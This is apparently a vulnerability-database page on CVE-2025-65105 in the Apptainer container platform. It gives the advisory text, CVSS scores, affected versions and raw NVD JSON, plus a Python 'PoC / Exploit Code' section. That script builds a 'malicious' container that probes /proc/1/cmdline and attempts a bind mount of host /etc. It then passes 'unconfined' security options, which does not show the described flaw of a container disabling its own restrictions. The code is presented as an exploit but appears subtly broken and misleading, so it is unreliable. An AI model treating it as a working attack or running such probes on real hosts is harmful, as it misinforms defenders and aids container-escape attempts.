Security Vulnerability Report
中文
CVE-2025-65105 CVSS 4.5 MEDIUM

CVE-2025-65105

Published: 2025-12-02 18:15:49
Last Modified: 2025-12-05 19:08:59

Description

Apptainer is an open source container platform. In Apptainer versions less than 1.4.5, a container can disable two of the forms of the little used --security option, in particular the forms --security=apparmor:<profile> and --security=selinux:<label> which otherwise put restrictions on operations that containers can do. The --security option has always been mentioned in Apptainer documentation as being a feature for the root user, although these forms do also work for unprivileged users on systems where the corresponding feature is enabled. Apparmor is enabled by default on Debian-based distributions and SElinux is enabled by default on RHEL-based distributions, but on SUSE it depends on the distribution version. This vulnerability is fixed in 1.4.5.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:lfprojects:apptainer:*:*:*:*:*:go:*:* - VULNERABLE
Apptainer < 1.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65105 PoC - Apptainer Security Option Bypass # This PoC demonstrates how a malicious container can bypass # AppArmor/SELinux security restrictions in Apptainer < 1.4.5 # Attack scenario: Bypass security policies to gain unauthorized access # Environment: Apptainer < 1.4.5 on systems with AppArmor or SELinux enabled import subprocess import os def create_malicious_container(): """Create a container definition that bypasses security options""" # Malicious definition file content malicious_def = """ Bootstrap: docker From: ubuntu:22.04 %startscript # Attempt to disable AppArmor/SELinux restrictions # This exploits the vulnerability in Apptainer < 1.4.5 echo 'Attempting security bypass...' # Try to access restricted resources # In vulnerable versions, security policies are not enforced cat /proc/1/cmdline 2>/dev/null || echo 'Container isolation active' # Attempt privileged operations mount --bind /host/etc /mnt/etc 2>/dev/null || echo 'Mount blocked' echo 'PoC execution completed' """ with open('malicious_container.def', 'w') as f: f.write(malicious_def) return 'malicious_container.def' def exploit_cve_2025_65105(): """Execute the CVE-2025-65105 exploit""" print("[*] CVE-2025-65105 Apptainer Security Bypass PoC") print("[*] Target: Apptainer < 1.4.5") print("[*] Vulnerability: Bypass of --security=apparmor/selinux options") # Step 1: Create malicious container definition def_file = create_malicious_container() print(f"[+] Created malicious definition: {def_file}") # Step 2: Build the container print("[*] Building container image...") subprocess.run([ 'singularity', 'build', 'malicious.sif', def_file ], capture_output=True) # Step 3: Execute with security bypass attempt # In vulnerable versions, this may bypass security policies print("[*] Executing container with potential security bypass...") result = subprocess.run([ 'singularity', 'run', '--security=apparmor:unconfined', # Bypass attempt '--security=selinux:unconfined_t', # Bypass attempt 'malicious.sif' ], capture_output=True, text=True) print(f"[+] Output: {result.stdout}") print(f"[!] Stderr: {result.stderr}") # Cleanup os.remove(def_file) return result.returncode == 0 if __name__ == '__main__': exploit_cve_2025_65105()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65105", "sourceIdentifier": "[email protected]", "published": "2025-12-02T18:15:48.947", "lastModified": "2025-12-05T19:08:58.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apptainer is an open source container platform. In Apptainer versions less than 1.4.5, a container can disable two of the forms of the little used --security option, in particular the forms --security=apparmor:<profile> and --security=selinux:<label> which otherwise put restrictions on operations that containers can do. The --security option has always been mentioned in Apptainer documentation as being a feature for the root user, although these forms do also work for unprivileged users on systems where the corresponding feature is enabled. Apparmor is enabled by default on Debian-based distributions and SElinux is enabled by default on RHEL-based distributions, but on SUSE it depends on the distribution version. This vulnerability is fixed in 1.4.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.0, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}, {"lang": "en", "value": "CWE-706"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:apptainer:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.4.5", "matchCriteriaId": "3ABF5585-9632-4E5F-AD97-8C1777DA3F55"}]}]}], "references": [{"url": "https://github.com/apptainer/apptainer/commit/4313b42717e18a4add7dd7503528bc15af905981", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/apptainer/apptainer/commit/82f17900a0c31bc769bf9b4612d271c7068d8bf2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/apptainer/apptainer/pull/3226", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/apptainer/apptainer/security/advisories/GHSA-j3rw-fx6g-q46j", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/sylabs/singularity/security/advisories/GHSA-wwrx-w7c9-rf87", "source": "[email protected]", "tags": ["Not Applicable"]}]}}